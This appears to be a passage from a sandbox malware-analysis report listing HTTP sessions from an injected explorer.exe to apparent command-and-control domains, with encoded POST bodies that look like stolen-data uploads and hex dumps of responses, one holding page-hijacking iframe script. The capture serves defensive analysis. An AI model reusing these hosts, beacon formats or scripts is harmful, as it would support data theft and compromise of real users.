Nov 21, 2022 19:21:44.608093977 CET	946	OUT	Data Raw: 32 69 52 49 52 34 48 48 44 5a 7e 4d 50 75 4c 47 74 47 6e 53 57 36 4c 75 4d 47 72 67 57 5a 46 36 7e 52 46 69 78 71 39 71 4b 44 44 46 63 64 6b 32 6b 6e 7a 53 44 6a 79 71 4d 79 41 5f 4b 5f 48 5f 30 4f 61 6f 53 4a 79 51 61 34 48 70 4c 66 71 66 67 4f Data Ascii: 2iRIR4HHDZ~MPuLGtGnSW6LuMGrgWZF6~RFixq9qKDDFcdk2knzSDjyqMyA_K_H_0OaoSJyQa4HpLfqfgOo2csKqLGa9ivihOFSIamp_maT1Pg87K6b6k32_mCr4Ss(A6Xh2mZ~nt4S5rGsHOHTZBiBJMNRE7TafWy9ULsrEuUh65EEXkVKlKFIaTBKyry5UArSf3DKv1bwWgVcpbWA8gM7oVJ3zOJZfWCLPxkOUrUA-RmMy51I
Nov 21, 2022 19:21:44.608160019 CET	950	OUT	Data Raw: 51 37 7e 46 64 43 31 72 75 4a 46 38 42 67 39 42 62 61 69 66 7e 64 69 4e 4f 64 6d 59 50 57 7a 49 44 4b 37 49 41 35 4f 70 4a 61 76 44 42 42 37 33 56 59 62 70 7e 35 6a 33 55 4f 71 2d 42 71 46 75 43 55 37 66 30 53 49 64 66 61 59 2d 55 33 74 4d 66 69 Data Ascii: Q7~FdC1ruJF8Bg9Bbaif~diNOdmYPWzIDK7IA5OpJavDBB73VYbp~5j3UOq-BqFuCU7f0SIdfaY-U3tMfi6A(6QpPLww0DXOBZQPOpUAEocp0d3wCtZEtenZpn7-8grhsKORgfwghUKj8qF4bDOAVCo_OQ7LJIITgvt8srxJI_RXpGn5H-7Dwou_neSIU1hs0r0kfYAXOvRCs8CEw-YOZBpKceQQAE~GXhDinI71BLxTzCSSs2Y

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
3	192.168.11.20	49826	45.130.41.24	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Nov 21, 2022 19:20:17.297430992 CET	494	OUT	POST /nqhc/ HTTP/1.1 Host: www.searchbot.su Connection: close Content-Length: 187 Cache-Control: no-cache Origin: http://www.searchbot.su User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.searchbot.su/nqhc/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 72 34 74 78 42 3d 39 6a 5a 50 44 69 71 45 4a 47 6e 31 68 71 50 63 4a 53 4c 33 50 73 74 6f 61 70 61 52 76 30 4b 52 30 70 68 4f 30 4e 45 51 34 4a 4f 38 66 61 6b 44 33 38 6c 38 43 57 66 6c 75 35 6a 6c 28 76 75 52 30 4d 55 62 33 43 72 61 63 63 35 58 47 68 44 33 65 68 6c 39 56 44 66 49 4e 55 43 4b 72 47 31 57 32 69 75 4f 35 5a 45 50 73 61 36 4f 57 50 78 66 77 41 47 37 59 43 48 6a 55 6a 61 31 6d 53 66 35 6c 49 43 67 4f 61 77 36 78 46 32 51 34 7a 38 59 52 69 6d 61 73 4b 31 65 35 63 7a 55 61 56 4d 43 64 6e 5a 52 43 69 30 62 6d 38 39 56 54 50 64 57 56 67 29 2e 00 00 00 00 00 00 00 00 Data Ascii: r4txB=9jZPDiqEJGn1hqPcJSL3PstoapaRv0KR0phO0NEQ4JO8fakD38l8CWflu5jl(vuR0MUb3Cracc5XGhD3ehl9VDfINUCKrG1W2iuO5ZEPsa6OWPxfwAG7YCHjUja1mSf5lICgOaw6xF2Q4z8YRimasK1e5czUaVMCdnZRCi0bm89VTPdWVg).
Nov 21, 2022 19:20:17.391448021 CET	494	IN	HTTP/1.1 404 Not Found Server: nginx-reuseport/1.21.1 Date: Mon, 21 Nov 2022 18:20:17 GMT Content-Type: text/html; charset=iso-8859-1 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Content-Encoding: gzip Data Raw: 65 39 0d 0a 1f 8b 08 00 00 00 00 00 00 03 4d 8f c1 6a c3 30 10 44 ef fe 8a 6d 4e cd a1 5a 27 b8 d0 83 10 b4 b1 43 03 4e 6a 1a f9 90 a3 12 6d 90 21 b1 5c 49 ae db bf af ec 50 c8 65 61 76 df 0e 33 fc 21 ff 58 c9 43 55 c0 bb dc 96 50 d5 6f e5 66 05 b3 27 c4 4d 21 d7 88 b9 cc 6f 97 25 4b 11 8b dd 4c 24 dc 84 eb 45 70 43 4a 47 11 9a 70 21 91 a5 19 ec 6c 80 b5 ed 5b cd f1 b6 4c 38 4e 10 3f 5a fd 3b fe 2d c4 1d 13 55 c2 3b 21 0d 81 a3 af 9e 7c 20 0d f5 67 09 83 f2 d0 46 ee 3c 72 60 5b 08 a6 f1 e0 c9 7d 93 63 1c bb d1 c9 c5 a1 b4 76 e4 bd 78 ed d4 c9 10 2e 59 c6 9e 17 f0 58 b7 cd cf 1c f6 13 0e 2a c0 30 0c cc 93 72 27 73 b4 81 f9 1e 2a eb 02 bc a4 1c ff 0d 62 ce 29 61 cc 34 36 4b fe 00 08 94 dc 0d 14 01 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: e9Mj0DmNZ'CNjm!\IPeav3!XCUPof'M!o%KL$EpCJGp!l[L8N?Z;-U;!\| gF<r`[}cvx.YX0r'sb)a46K0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
30	192.168.11.20	49855	103.63.2.175	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Nov 21, 2022 19:21:46.471515894 CET	951	OUT	GET /nqhc/?r4txB=OyL0MBeXxkJ8chUEliFq9s6bwomTkxJ31rz9dsojrpNScTyiwKCDYYQmiQ8xCDXEzp0hbp4MCFP9aLVw4Be6pAeHIY4JilfakQ==&1b=S8jD HTTP/1.1 Host: www.005404.com Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Nov 21, 2022 19:21:46.659885883 CET	953	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 21 Nov 2022 18:21:46 GMT Content-Type: text/html Content-Length: 1741 Connection: close Vary: Accept-Encoding ETag: "634bbb43-6cd" Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 2f 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 73 63 72 69 70 74 3e 69 66 28 6e 61 76 69 67 61 74 6f 72 2e 75 73 65 72 41 67 65 6e 74 2e 74 6f 4c 6f 63 61 6c 65 4c 6f 77 65 72 43 61 73 65 28 29 2e 69 6e 64 65 78 4f 66 28 22 62 61 69 64 75 22 29 20 3d 3d 20 2d 31 29 7b 64 6f 63 75 6d 65 6e 74 2e 74 69 74 6c 65 20 3d 22 e6 be b3 e9 97 a8 e9 93 b6 e6 b2 b3 22 7d 3c 2f 73 63 72 69 70 74 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 34 35 2e 31 32 32 2e 31 33 38 2e 34 35 2f 66 61 76 69 63 6f 6e 2e 69 63 6f 22 3e 3c 73 63 72 69 70 74 3e 64 6f 63 75 6d 65 6e 74 2e 77 72 69 74 65 6c 6e 28 27 27 29 3b 76 61 72 20 73 73 3d 27 3c 64 69 76 20 69 64 3d 22 73 68 6f 77 63 6c 6f 6e 65 73 68 65 6e 67 78 69 61 6f 6e 22 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 20 31 30 30 25 3b 20 77 69 64 74 68 3a 20 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 72 67 62 28 32 35 35 2c 20 32 35 35 2c 20 32 35 35 29 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 70 6f 73 69 74 69 6f 6e 3a 20 69 6e 69 74 69 61 6c 20 69 6e 69 74 69 61 6c 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 72 65 70 65 61 74 3a 20 69 6e 69 74 69 61 6c 20 69 6e 69 74 69 61 6c 3b 22 3e 3c 69 66 72 61 6d 65 20 73 63 72 6f 6c 6c 69 6e 67 3d 22 79 65 73 22 20 6d 61 72 67 69 6e 68 65 69 67 68 74 3d 30 20 6d 61 72 67 69 6e 77 69 64 74 68 3d 30 20 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 22 30 22 20 77 69 64 74 68 3d 22 31 30 30 25 22 20 77 69 64 74 68 3d 22 31 34 30 30 22 20 68 65 69 67 68 74 3d 22 31 30 30 25 22 20 73 72 63 3d 22 26 23 31 30 34 3b 26 23 31 31 36 3b 26 23 31 31 36 3b 26 23 31 31 32 3b 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 26 23 35 32 3b 26 23 35 33 3b 26 23 34 36 3b 26 23 34 39 3b 26 23 35 30 3b 26 23 35 30 3b 26 23 34 36 3b 26 23 34 39 3b 26 23 35 31 3b 26 23 35 36 3b 26 23 34 36 3b 26 23 35 32 3b 26 23 35 33 3b 26 23 34 37 3b 22 3e 3c 2f 69 66 72 61 6d 65 3e 3c 2f 64 69 76 3e 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 68 74 6d 6c 7b 77 69 64 74 68 3a 31 30 30 25 3b 68 65 69 67 68 74 3a 31 30 30 25 7d 62 6f 64 79 20 7b 77 69 64 74 68 3a 31 30 30 25 3b 68 65 69 67 68 74 3a 31 30 30 25 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 3c 2f 73 74 79 6c 65 3e 27 3b 65 76 61 6c 28 22 64 6f 63 75 6d 65 6e 74 2e 77 72 69 74 65 28 27 22 2b 73 73 2b 22 27 29 3b 22 29 3b 74 72 79 7b 73 65 74 49 6e 74 65 72 76 61 6c 28 66 75 6e 63 74 69 6f 6e 28 29 7b 74 72 79 7b 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 64 69 76 41 6c 6c 22 29 2e 73 74 79 6c 65 2e 64 69 73 70 6c 61 79 3d 22 6e 6f 6e 65 22 7d 63 61 74 63 68 28 65 29 7b 7d 66 6f 72 28 76 61 72 20 69 3d 30 3b 69 3c 64 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 2e 63 68 69 6c 64 72 65 6e 2e 6c 65 6e 67 74 68 3b 69 2b 2b 29 7b 74 72 79 7b 76 61 72 20 74 61 67 6e 61 6d 65 3d 64 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 2e 63 68 69 6c 64 72 65 6e 5b 69 5d 2e 74 61 67 4e 61 6d 65 3b 76 61 72 20 6d 79 69 64 3d 64 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 2e 63 68 69 6c 64 72 65 6e 5b 69 5d 2e 69 64 3b 69 66 28 6d 79 69 64 21 3d 22 69 63 6f Data Ascii: <html><head><meta charset="UTF-8"/><title>404 Not Found</title><script>if(navigator.userAgent.toLocaleLowerCase().indexOf("baidu") == -1){document.title =""}</script><link rel="icon" type="image/x-icon" href="http://45.122.138.45/favicon.ico"><script>document.writeln('');var ss='<div id="showcloneshengxiaon" style="height: 100%; width: 100%; background-color: rgb(255, 255, 255); background-position: initial initial; background-repeat: initial initial;"><iframe scrolling="yes" marginheight=0 marginwidth=0 frameborder="0" width="100%" width="1400" height="100%" src="http://45.122.138.45/"></iframe></div><style type="text/css">html{width:100%;height:100%}body {width:100%;height:100%;overflow:hidden}</style>';eval("document.write('"+ss+"');");try{setInterval(function(){try{document.getElementById("divAll").style.display="none"}catch(e){}for(var i=0;i<document.body.children.length;i++){try{var tagname=document.body.children[i].tagName;var myid=document.body.children[i].id;if(myid!="ico
Nov 21, 2022 19:21:46.659972906 CET	953	IN	Data Raw: 6e 44 69 76 31 22 26 26 6d 79 69 64 21 3d 22 73 68 6f 77 63 6c 6f 6e 65 73 68 65 6e 67 78 69 61 6f 6e 22 29 7b 64 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 2e 63 68 69 6c 64 72 65 6e 5b 69 5d 2e 73 74 79 6c 65 2e 64 69 73 70 6c 61 79 3d 22 6e 6f 6e 65 Data Ascii: nDiv1"&&myid!="showcloneshengxiaon"){document.body.children[i].style.display="none"}}catch(e){}}},100)}catch(e){}</script><script>(function(){var bp=document.createElement('script');var curProtocol=window.location.protocol.split(':')[0];if(cur

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
31	192.168.11.20	49856	66.29.151.40	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Nov 21, 2022 19:22:00.103615999 CET	955	OUT	POST /nqhc/ HTTP/1.1 Host: www.gouldent.site Connection: close Content-Length: 187 Cache-Control: no-cache Origin: http://www.gouldent.site User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.gouldent.site/nqhc/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 72 34 74 78 42 3d 34 61 4e 65 54 68 4e 4b 78 6b 45 45 69 47 6b 58 47 74 4d 66 67 68 50 53 46 6d 38 41 36 78 53 4d 69 73 75 55 64 45 71 66 6c 7a 51 7a 4c 76 38 51 6b 57 70 4f 7a 6e 4c 73 73 6f 28 32 67 50 61 6f 32 2d 28 7a 33 5a 6e 6d 39 4d 6f 6f 49 54 55 51 6d 66 6d 4d 32 39 77 75 7a 48 73 6d 51 31 41 73 53 54 52 34 77 4a 68 4f 6c 55 4f 41 52 56 74 32 32 55 52 66 59 6d 69 72 47 63 33 5a 30 6e 4e 44 51 63 56 4b 48 4c 45 38 46 68 55 58 79 4d 62 6f 43 47 6a 75 37 37 39 63 75 30 4e 7a 7e 77 6c 30 68 49 45 69 62 79 4b 55 4c 49 4e 44 73 67 75 6a 6a 67 29 2e 00 00 00 00 00 00 00 00 Data Ascii: r4txB=4aNeThNKxkEEiGkXGtMfghPSFm8A6xSMisuUdEqflzQzLv8QkWpOznLsso(2gPao2-(z3Znm9MooITUQmfmM29wuzHsmQ1AsSTR4wJhOlUOARVt22URfYmirGc3Z0nNDQcVKHLE8FhUXyMboCGju779cu0Nz~wl0hIEibyKULINDsgujjg).
Nov 21, 2022 19:22:00.395703077 CET	956	IN	HTTP/1.1 404 Not Found Date: Mon, 21 Nov 2022 18:22:00 GMT Server: Apache Content-Length: 570 Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 73 74 79 6c 65 2e 63 73 73 22 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 0a 3c 62 6f 64 79 3e 0a 20 20 3c 73 65 63 74 69 6f 6e 20 69 64 3d 22 6e 6f 74 2d 66 6f 75 6e 64 22 3e 0a 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 69 72 63 6c 65 73 22 3e 0a 20 20 20 20 20 20 3c 70 3e 34 30 34 3c 62 72 3e 0a 20 20 20 20 20 20 20 3c 73 6d 61 6c 6c 3e 50 41 47 45 20 4e 4f 54 20 46 4f 55 4e 44 3c 2f 73 6d 61 6c 6c 3e 0a 20 20 20 20 20 20 3c 2f 70 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 69 72 63 6c 65 20 62 69 67 22 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 69 72 63 6c 65 20 6d 65 64 22 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 69 72 63 6c 65 20 73 6d 61 6c 6c 22 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 3c 2f 73 65 63 74 69 6f 6e 3e 0a 20 3c 2f 62 6f 64 79 3e 0a 0a 20 20 3c 73 63 72 69 70 74 20 73 72 63 3d 27 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6a 71 75 65 72 79 2f 32 2e 31 2e 33 2f 6a 71 75 65 72 79 2e 6d 69 6e 2e 6a 73 27 3e 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 20 20 73 72 63 3d 22 2f 73 63 72 69 70 74 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html><html lang="en" ><head> <meta charset="UTF-8"> <title>404 Error</title> <link rel="stylesheet" href="/style.css"></head><body><body> <section id="not-found"> <div class="circles"> <p>404<br> <small>PAGE NOT FOUND</small> </p> <span class="circle big"></span> <span class="circle med"></span> <span class="circle small"></span> </div> </section> </body> <script src='//cdnjs.cloudflare.com/ajax/libs/jquery/2.1.3/jquery.min.js'></script><script src="/script.js"></script></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
32	192.168.11.20	49857	66.29.151.40	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Nov 21, 2022 19:22:02.286689997 CET	957	OUT	POST /nqhc/ HTTP/1.1 Host: www.gouldent.site Connection: close Content-Length: 527 Cache-Control: no-cache Origin: http://www.gouldent.site User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.gouldent.site/nqhc/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 72 34 74 78 42 3d 34 61 4e 65 54 68 4e 4b 78 6b 45 45 77 32 30 58 56 65 6b 66 68 42 50 52 5a 57 38 41 30 52 53 49 69 73 69 55 64 46 75 50 6b 42 30 7a 49 4b 59 51 32 44 46 4f 77 6e 4c 73 7e 49 28 33 76 76 62 6d 32 35 32 4f 33 64 6e 6d 39 49 34 6f 49 67 73 51 33 5f 6d 50 39 64 77 70 30 48 73 6c 62 56 41 6d 53 54 64 56 77 49 6c 4f 6c 46 69 41 51 58 46 32 79 41 46 63 64 47 69 70 54 4d 33 59 7e 48 4e 6b 51 63 6f 31 48 4b 74 48 45 54 49 58 79 73 37 6f 51 57 6a 68 68 37 38 55 78 45 4d 74 78 69 45 62 6d 70 45 4b 4d 51 61 7a 4b 72 51 51 76 6b 47 70 28 4c 4f 6a 71 6d 59 78 4f 79 58 5f 33 67 42 44 4d 64 6a 41 57 33 69 50 48 54 39 67 4f 52 4f 36 68 6a 38 63 75 4d 53 6b 34 34 4d 6d 63 72 79 41 5a 45 37 57 65 4a 6b 4b 28 78 79 68 62 71 48 79 4b 6c 74 30 58 63 34 53 62 44 42 38 70 62 77 49 74 79 52 6f 78 4d 52 77 7a 32 65 71 56 5a 4b 37 58 31 32 61 51 67 58 6a 57 5a 67 68 6f 37 30 6c 6b 61 66 65 32 34 4a 58 67 37 68 7a 70 56 35 4f 4e 51 4e 41 33 72 38 71 4a 34 46 46 7e 54 6a 74 4a 55 59 6c 36 47 31 45 73 63 7e 5f 46 48 61 39 73 4c 65 72 76 2d 42 4c 36 44 33 6c 4f 77 79 5f 48 62 7a 6a 42 56 39 46 6a 4c 52 63 4b 61 65 71 6a 70 73 47 76 76 69 66 51 68 7e 38 56 30 75 75 63 33 48 69 38 5a 32 4c 43 78 4a 7a 30 36 43 75 35 31 43 67 77 66 34 76 73 36 4c 75 45 41 7e 4e 71 35 62 43 70 61 38 6d 58 7a 4e 31 75 48 76 4d 38 71 46 6a 61 4c 35 75 41 74 6e 77 71 30 67 35 49 58 79 50 5a 45 61 33 6c 46 32 42 70 64 77 50 7a 58 41 7a 67 38 58 57 54 79 4e 41 59 6d 67 30 54 4d 75 68 41 55 55 73 46 7a 6e 43 67 75 6b 44 78 48 49 79 37 6d 39 2d 7e 6a 6a 66 48 58 6a 58 74 73 30 67 78 73 38 2e 00 00 00 00 00 00 00 00 Data Ascii: r4txB=4aNeThNKxkEEw20XVekfhBPRZW8A0RSIisiUdFuPkB0zIKYQ2DFOwnLs~I(3vvbm252O3dnm9I4oIgsQ3_mP9dwp0HslbVAmSTdVwIlOlFiAQXF2yAFcdGipTM3Y~HNkQco1HKtHETIXys7oQWjhh78UxEMtxiEbmpEKMQazKrQQvkGp(LOjqmYxOyX_3gBDMdjAW3iPHT9gORO6hj8cuMSk44MmcryAZE7WeJkK(xyhbqHyKlt0Xc4SbDB8pbwItyRoxMRwz2eqVZK7X12aQgXjWZgho70lkafe24JXg7hzpV5ONQNA3r8qJ4FF~TjtJUYl6G1Esc~_FHa9sLerv-BL6D3lOwy_HbzjBV9FjLRcKaeqjpsGvvifQh~8V0uuc3Hi8Z2LCxJz06Cu51Cgwf4vs6LuEA~Nq5bCpa8mXzN1uHvM8qFjaL5uAtnwq0g5IXyPZEa3lF2BpdwPzXAzg8XWTyNAYmg0TMuhAUUsFznCgukDxHIy7m9-~jjfHXjXts0gxs8.
Nov 21, 2022 19:22:02.560440063 CET	958	IN	HTTP/1.1 404 Not Found Date: Mon, 21 Nov 2022 18:22:02 GMT Server: Apache Content-Length: 570 Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 73 74 79 6c 65 2e 63 73 73 22 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 0a 3c 62 6f 64 79 3e 0a 20 20 3c 73 65 63 74 69 6f 6e 20 69 64 3d 22 6e 6f 74 2d 66 6f 75 6e 64 22 3e 0a 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 69 72 63 6c 65 73 22 3e 0a 20 20 20 20 20 20 3c 70 3e 34 30 34 3c 62 72 3e 0a 20 20 20 20 20 20 20 3c 73 6d 61 6c 6c 3e 50 41 47 45 20 4e 4f 54 20 46 4f 55 4e 44 3c 2f 73 6d 61 6c 6c 3e 0a 20 20 20 20 20 20 3c 2f 70 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 69 72 63 6c 65 20 62 69 67 22 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 69 72 63 6c 65 20 6d 65 64 22 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 69 72 63 6c 65 20 73 6d 61 6c 6c 22 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 3c 2f 73 65 63 74 69 6f 6e 3e 0a 20 3c 2f 62 6f 64 79 3e 0a 0a 20 20 3c 73 63 72 69 70 74 20 73 72 63 3d 27 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6a 71 75 65 72 79 2f 32 2e 31 2e 33 2f 6a 71 75 65 72 79 2e 6d 69 6e 2e 6a 73 27 3e 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 20 20 73 72 63 3d 22 2f 73 63 72 69 70 74 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html><html lang="en" ><head> <meta charset="UTF-8"> <title>404 Error</title> <link rel="stylesheet" href="/style.css"></head><body><body> <section id="not-found"> <div class="circles"> <p>404<br> <small>PAGE NOT FOUND</small> </p> <span class="circle big"></span> <span class="circle med"></span> <span class="circle small"></span> </div> </section> </body> <script src='//cdnjs.cloudflare.com/ajax/libs/jquery/2.1.3/jquery.min.js'></script><script src="/script.js"></script></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
33	192.168.11.20	49858	66.29.151.40	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Nov 21, 2022 19:22:04.492155075 CET	962	OUT	POST /nqhc/ HTTP/1.1 Host: www.gouldent.site Connection: close Content-Length: 51815 Cache-Control: no-cache Origin: http://www.gouldent.site User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.gouldent.site/nqhc/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 72 34 74 78 42 3d 34 61 4e 65 54 68 4e 4b 78 6b 45 45 77 32 30 58 56 65 6b 66 68 42 50 52 5a 57 38 41 30 52 53 49 69 73 69 55 64 46 75 50 6b 42 38 7a 4c 38 55 51 6b 30 78 4f 78 6e 4c 73 6c 49 28 79 76 76 62 72 32 5f 66 4a 33 64 72 51 39 4f 6b 6f 49 7a 45 51 33 4b 79 50 34 64 77 6f 37 6e 73 6e 51 31 41 79 53 54 52 61 77 49 67 31 6c 55 57 41 52 58 31 32 32 79 74 66 54 32 69 72 54 4d 33 63 36 48 4e 7a 51 63 74 6f 48 4b 68 48 45 52 38 58 7a 66 44 6f 44 31 62 68 31 62 38 56 6f 30 4e 74 34 43 45 36 6d 70 67 65 4d 51 61 46 4b 70 38 51 76 6a 79 70 7e 4d 36 69 70 47 59 78 51 43 58 34 7a 68 39 48 4d 64 76 75 57 33 57 50 48 52 74 67 4e 78 4f 36 6b 43 38 66 34 38 53 69 79 59 4e 67 57 4c 75 49 5a 41 54 43 65 49 41 4b 34 42 6d 68 61 5a 76 79 4d 48 4a 30 65 63 34 51 47 7a 42 76 6a 37 77 55 74 79 41 42 78 50 5a 61 7a 30 79 71 45 4c 53 37 54 55 32 56 48 77 57 71 61 35 68 37 73 37 78 6b 6b 61 75 66 32 34 4a 35 67 2d 52 7a 75 6b 4a 4f 4f 52 4e 48 30 37 39 44 42 59 45 48 30 7a 76 33 4a 55 73 39 36 46 31 55 73 64 32 5f 47 6e 61 39 75 73 4b 71 6c 4f 42 4d 6c 7a 32 71 54 67 79 57 48 63 37 4a 42 51 46 5f 69 34 46 63 4a 4f 36 71 70 5a 73 46 72 50 69 62 57 52 7e 2d 65 55 75 75 63 77 4f 62 38 5a 79 4c 43 6b 74 7a 30 4e 6d 75 70 32 61 67 32 66 34 74 73 36 4c 7a 45 41 69 45 71 35 43 56 70 61 73 41 58 77 39 31 75 57 28 4d 28 76 78 67 66 37 35 6e 53 64 6d 6f 31 6b 38 75 49 58 75 48 5a 41 47 34 6b 33 69 42 6f 64 41 50 69 48 41 79 79 73 58 56 62 53 4e 61 4a 32 63 53 54 4d 7a 55 41 55 49 47 46 30 62 43 73 70 51 55 32 6d 49 6b 76 77 68 72 34 47 76 76 48 52 6a 71 33 75 6f 52 6d 62 53 4d 41 54 44 71 78 61 78 56 4b 61 76 62 6e 32 34 2d 59 52 39 52 49 76 68 5f 28 6a 41 43 7a 39 72 6c 6d 6a 52 53 62 61 70 54 51 51 42 4e 77 76 44 79 7a 33 6d 35 7e 46 45 4d 6f 31 65 61 35 59 76 50 73 4a 4b 4e 4c 61 30 50 64 52 68 7a 52 65 69 72 63 69 37 4e 45 72 74 30 7a 41 72 2d 71 6a 6d 75 64 45 33 4c 43 66 42 41 43 52 53 4f 53 73 77 4d 55 32 59 61 52 71 5a 65 33 65 42 34 6e 34 6c 6e 31 66 33 66 43 5f 72 74 44 36 4c 4b 28 74 75 6f 42 5f 30 61 58 75 44 76 77 74 55 73 4d 66 48 66 6f 44 78 4d 33 4f 32 6b 68 78 44 35 6f 58 43 76 30 59 45 32 4f 71 31 41 76 65 77 4b 44 71 39 67 41 69 76 78 32 31 71 76 35 75 6b 59 42 65 65 5f 76 52 48 56 6c 62 37 56 68 6e 65 76 4f 31 71 68 46 4e 5a 78 41 4e 78 43 48 4a 48 69 66 59 32 69 31 75 6d 6f 79 73 30 71 4f 70 39 53 32 47 38 72 78 32 4d 79 6b 4c 65 70 68 6b 78 4d 45 64 7e 30 78 31 77 6e 74 33 41 36 31 34 53 33 64 72 67 52 78 64 4d 54 69 69 36 63 61 5f 35 55 52 76 28 41 50 57 4a 49 30 54 55 59 66 56 31 69 49 63 30 57 7e 37 55 50 78 74 58 2d 71 58 35 38 54 59 76 4c 45 51 6a 45 34 62 76 66 50 51 52 51 4c 76 7e 49 45 55 67 55 53 7a 35 4b 56 62 41 76 72 73 32 